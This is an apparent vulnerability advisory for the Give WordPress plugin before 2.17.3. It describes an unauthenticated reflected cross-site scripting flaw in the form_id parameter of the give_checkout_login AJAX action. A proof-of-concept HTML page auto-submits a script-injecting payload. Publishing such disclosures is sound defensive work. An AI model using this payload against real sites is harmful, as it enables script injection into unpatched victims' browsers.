WordPress Plugin Vulnerabilities
Give < 2.17.3 - Unauthenticated Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the form_id parameter before outputting it back in the response of an unauthenticated request via the give_checkout_login AJAX action, leading to a Reflected Cross-Site Scripting
Proof of Concept
As an unauthenticated user:
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" id="hack" method="POST">
<input type="hidden" name="action" value="give_checkout_login" />
<input type="hidden" name="form_id" value='xxxxxx"><script>alert(/XSS/)</script>' />
<input type="submit" value="Submit request" />
</form>
</body>
<script>
var form1 = document.getElementById('hack');
form1.submit();
</script>
</html>
